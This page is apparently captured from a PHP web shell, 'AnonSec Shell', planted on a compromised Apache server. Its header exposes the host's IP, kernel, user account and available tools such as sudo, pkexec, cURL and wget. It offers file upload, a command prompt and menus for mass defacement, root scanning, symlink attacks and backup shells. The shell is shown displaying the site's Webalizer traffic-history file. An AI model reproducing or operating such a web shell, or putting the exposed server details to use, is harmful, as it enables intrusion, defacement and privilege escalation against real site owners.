AnonSec Shell
Server IP : 65.1.115.158  /  Your IP : 216.73.216.83   [ Reverse IP ]
Web Server : Apache
System : Linux ip-172-30-1-212 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : aeonx ( 1003)
PHP Version : 8.3.3-1+ubuntu20.04.1+deb.sury.org+1
Disable Function : NONE
Domains : 14 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/aeonx/public_html/stats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/aeonx/public_html/stats/webalizer.hist
# Webalizer V2.23-08 History Data - 30/Oct/2025 04:40:11 (120 month)
10 2025 1176159 713627 30238 104217163 1 30 714911 66578 0 0
9 2025 395468 218979 13219 40663986 21 30 220553 25517 0 0
8 2025 698279 303092 19068 54851590 17 31 414837 42141 0 0
7 2025 39798 16289 3039 3077743 27 28 27034 4271 0 0
6 2025 873426 486009 45108 72092154 1 30 456101 71704 0 0
5 2025 244184 128271 9314 25105145 25 31 126705 14501 0 0
4 2025 0 0 0 0 0 0 0 0 0 0
3 2025 0 0 0 0 0 0 0 0 0 0
2 2025 0 0 0 0 0 0 0 0 0 0
1 2025 0 0 0 0 0 0 0 0 0 0
12 2024 0 0 0 0 0 0 0 0 0 0
11 2024 0 0 0 0 0 0 0 0 0 0
10 2024 0 0 0 0 0 0 0 0 0 0
9 2024 0 0 0 0 0 0 0 0 0 0
8 2024 0 0 0 0 0 0 0 0 0 0
7 2024 0 0 0 0 0 0 0 0 0 0
6 2024 0 0 0 0 0 0 0 0 0 0
5 2024 0 0 0 0 0 0 0 0 0 0
4 2024 0 0 0 0 0 0 0 0 0 0
3 2024 0 0 0 0 0 0 0 0 0 0
2 2024 0 0 0 0 0 0 0 0 0 0
1 2024 0 0 0 0 0 0 0 0 0 0
12 2023 0 0 0 0 0 0 0 0 0 0
11 2023 0 0 0 0 0 0 0 0 0 0
10 2023 0 0 0 0 0 0 0 0 0 0
9 2023 0 0 0 0 0 0 0 0 0 0
8 2023 0 0 0 0 0 0 0 0 0 0
7 2023 0 0 0 0 0 0 0 0 0 0
6 2023 0 0 0 0 0 0 0 0 0 0
5 2023 0 0 0 0 0 0 0 0 0 0
4 2023 0 0 0 0 0 0 0 0 0 0
3 2023 0 0 0 0 0 0 0 0 0 0
2 2023 0 0 0 0 0 0 0 0 0 0
1 2023 0 0 0 0 0 0 0 0 0 0
12 2022 0 0 0 0 0 0 0 0 0 0
11 2022 0 0 0 0 0 0 0 0 0 0
10 2022 0 0 0 0 0 0 0 0 0 0
9 2022 0 0 0 0 0 0 0 0 0 0
8 2022 0 0 0 0 0 0 0 0 0 0
7 2022 0 0 0 0 0 0 0 0 0 0
6 2022 0 0 0 0 0 0 0 0 0 0
5 2022 0 0 0 0 0 0 0 0 0 0
4 2022 0 0 0 0 0 0 0 0 0 0
3 2022 0 0 0 0 0 0 0 0 0 0
2 2022 0 0 0 0 0 0 0 0 0 0
1 2022 0 0 0 0 0 0 0 0 0 0
12 2021 0 0 0 0 0 0 0 0 0 0
11 2021 0 0 0 0 0 0 0 0 0 0
10 2021 0 0 0 0 0 0 0 0 0 0
9 2021 0 0 0 0 0 0 0 0 0 0
8 2021 0 0 0 0 0 0 0 0 0 0
7 2021 0 0 0 0 0 0 0 0 0 0
6 2021 0 0 0 0 0 0 0 0 0 0
5 2021 0 0 0 0 0 0 0 0 0 0
4 2021 0 0 0 0 0 0 0 0 0 0
3 2021 0 0 0 0 0 0 0 0 0 0
2 2021 0 0 0 0 0 0 0 0 0 0
1 2021 0 0 0 0 0 0 0 0 0 0
12 2020 0 0 0 0 0 0 0 0 0 0
11 2020 0 0 0 0 0 0 0 0 0 0
10 2020 0 0 0 0 0 0 0 0 0 0
9 2020 0 0 0 0 0 0 0 0 0 0
8 2020 0 0 0 0 0 0 0 0 0 0
7 2020 0 0 0 0 0 0 0 0 0 0
6 2020 0 0 0 0 0 0 0 0 0 0
5 2020 0 0 0 0 0 0 0 0 0 0
4 2020 0 0 0 0 0 0 0 0 0 0
3 2020 0 0 0 0 0 0 0 0 0 0
2 2020 0 0 0 0 0 0 0 0 0 0
1 2020 0 0 0 0 0 0 0 0 0 0
12 2019 0 0 0 0 0 0 0 0 0 0
11 2019 0 0 0 0 0 0 0 0 0 0
10 2019 0 0 0 0 0 0 0 0 0 0
9 2019 0 0 0 0 0 0 0 0 0 0
8 2019 0 0 0 0 0 0 0 0 0 0
7 2019 0 0 0 0 0 0 0 0 0 0
6 2019 0 0 0 0 0 0 0 0 0 0
5 2019 0 0 0 0 0 0 0 0 0 0
4 2019 0 0 0 0 0 0 0 0 0 0
3 2019 0 0 0 0 0 0 0 0 0 0
2 2019 0 0 0 0 0 0 0 0 0 0
1 2019 0 0 0 0 0 0 0 0 0 0
12 2018 0 0 0 0 0 0 0 0 0 0
11 2018 0 0 0 0 0 0 0 0 0 0
10 2018 0 0 0 0 0 0 0 0 0 0
9 2018 0 0 0 0 0 0 0 0 0 0
8 2018 0 0 0 0 0 0 0 0 0 0
7 2018 0 0 0 0 0 0 0 0 0 0
6 2018 0 0 0 0 0 0 0 0 0 0
5 2018 0 0 0 0 0 0 0 0 0 0
4 2018 0 0 0 0 0 0 0 0 0 0
3 2018 0 0 0 0 0 0 0 0 0 0
2 2018 0 0 0 0 0 0 0 0 0 0
1 2018 0 0 0 0 0 0 0 0 0 0
12 2017 0 0 0 0 0 0 0 0 0 0
11 2017 0 0 0 0 0 0 0 0 0 0
10 2017 0 0 0 0 0 0 0 0 0 0
9 2017 0 0 0 0 0 0 0 0 0 0
8 2017 0 0 0 0 0 0 0 0 0 0
7 2017 0 0 0 0 0 0 0 0 0 0
6 2017 0 0 0 0 0 0 0 0 0 0
5 2017 0 0 0 0 0 0 0 0 0 0
4 2017 0 0 0 0 0 0 0 0 0 0
3 2017 0 0 0 0 0 0 0 0 0 0
2 2017 0 0 0 0 0 0 0 0 0 0
1 2017 0 0 0 0 0 0 0 0 0 0
12 2016 0 0 0 0 0 0 0 0 0 0
11 2016 0 0 0 0 0 0 0 0 0 0
10 2016 0 0 0 0 0 0 0 0 0 0
9 2016 0 0 0 0 0 0 0 0 0 0
8 2016 0 0 0 0 0 0 0 0 0 0
7 2016 0 0 0 0 0 0 0 0 0 0
6 2016 0 0 0 0 0 0 0 0 0 0
5 2016 0 0 0 0 0 0 0 0 0 0
4 2016 0 0 0 0 0 0 0 0 0 0
3 2016 0 0 0 0 0 0 0 0 0 0
2 2016 0 0 0 0 0 0 0 0 0 0
1 2016 0 0 0 0 0 0 0 0 0 0
12 2015 0 0 0 0 0 0 0 0 0 0
11 2015 0 0 0 0 0 0 0 0 0 0

Anon7 - 2022
AnonSec Team